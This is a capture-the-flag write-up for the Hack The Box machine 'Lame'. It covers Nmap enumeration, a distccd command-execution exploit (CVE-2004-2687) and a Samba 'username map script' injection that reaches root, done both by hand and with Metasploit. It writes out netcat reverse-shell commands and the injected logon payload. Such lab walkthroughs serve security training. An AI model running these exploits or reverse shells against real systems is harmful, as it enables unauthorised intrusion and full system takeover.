Lame/Distccd v1

The assessor began with an Nmap scan using the following commands:
sudo nmap -sV -p- -A 10.10.10.4 > lame_scan

- -sV conducts a service enumeration scan
- -p- scans all 65535 ports
- -A is an aggressive scan that attempts to determine operating system information, service information, etc.

The scan reveals that FTP or File Transfer Protocol, SSH or Secure Shell, SMB or Simple Message Block are services that the system is hosting.

```
┌──(kali㉿kali)-[~/lame]
└─$ cat lame_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-26 00:00 EST
Nmap scan report for 10.10.10.3
Host is up (0.021s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least
Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (94%), ZyXEL NSA-200 NA
Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDR
 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h29m58s, deviation: 3h32m09s, median: -2s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-01-26T00:02:57-05:00
```

Using Nmap's vulnerability scanning capability, the assessor was able to determine that the target system may be

vulnerable to CVE2004-2687

```
┌──(kali㉿kali)-[~/lame]
└─$ sudo nmap -sV -p 3632 10.10.10.3 --script vuln
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-26 07:55 EST
Nmap scan report for 10.10.10.3
Host is up (0.050s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|
|     Disclosure date: 2002-02-01
|     Extra information:
|
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|       https://distcc.github.io/security.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.51 seconds
```

Exploit Without Metasploit

Using the python script found here: https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855
The assessor was able to gain a reverse shell onto the system.

```
┌──(kali㉿kali)-[~/lame]
└─$ python2 distccd.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.4 1403 -e /bin/sh"
[OK] Connected to remote service

—— BEGIN BUFFER ——

(UNKNOWN) [10.10.14.4] 1403 (?) : Connection refused

—— END BUFFER ——

[OK] Done.

┌──(kali㉿kali)-[~/lame]
└─$ python2 distccd.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.4 1403 -e /bin/sh"
[OK] Connected to remote service
[KO] Socket Timeout
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1403
listening on [any] 1403 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.3] 37374
whoami
daemon
```

NOTE: The NetCat listener must be established before running the exploit

Privilege Escalation

Privilege escalation was difficult for this machine. Going back I began enumerating the services for a privilege escalation methon and found that the version of Samba had an exploit that would give us an elevated shell:

```
┌──(kali㉿kali)-[~/HTB/Lame]
└─$ searchsploit Samba 3.0.20
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                        | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (M        | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                         | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                 | linux_x86/dos/36741.py
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

There is a Metasploit module that could automate this but to manually exploit this you need anonymous access to the SMB server:

```
┌──(kali㉿kali)-[~/HTB/Lame]
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
```

Then you can set up a listener and use smb to run the exploit command:
smb: |> logon "./= `nohup nc -e /bin/bash 10.10.14.6 443`"

```
smb: \> logon "./= `nohup nc -e /bin/bash 10.10.14.6 443`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
```

```
┌──(kali㉿kali)-[~/HTB/Lame]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 33300
whoami
root
```

With Metasploit

Search map script in msfconsole:

```
msf6 exploit(unix/misc/distcc_exec) > search map script

Matching Modules
================
```

```
   13  exploit/multi/samba/usermap_script
ba "username map script" Command Execution
```

Set the parameters:

```
msf6 exploit(unix/misc/distcc_exec) > use 13
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-fram
                                      ework/wiki/Using-Metasploit
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.88.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts ⇒ 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.6
lhost ⇒ 10.10.14.6
msf6 exploit(multi/samba/usermap_script) > run
```

After running the exploit you will have a shell:

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.6:4444
[*] Command shell session 1 opened (10.10.14.6:4444 → 10.10.10.3:59281) at 2023-02-01 09:46:30 -0500

session 1
/bin/sh: line 3: session: command not found
whoami
root
```